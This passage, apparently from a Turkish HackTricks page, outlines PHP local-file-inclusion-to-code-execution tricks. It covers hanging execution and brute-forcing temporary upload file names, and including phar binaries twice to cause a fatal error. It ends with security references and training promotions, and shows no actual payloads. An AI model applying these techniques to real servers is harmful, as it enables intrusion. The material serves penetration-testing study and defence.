LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce ile
Eğer LFI'yi upload temporary files için kötüye kullanabiliyor ve sunucunun PHP yürütmesini hang edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya isimlerini bruteforce edebilirsiniz:
To Fatal Error
Eğer /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor).
Bunun nasıl faydalı olduğunu bilmiyorum ama işe yarayabilir.
PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir.
.png)
Kaynaklar
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.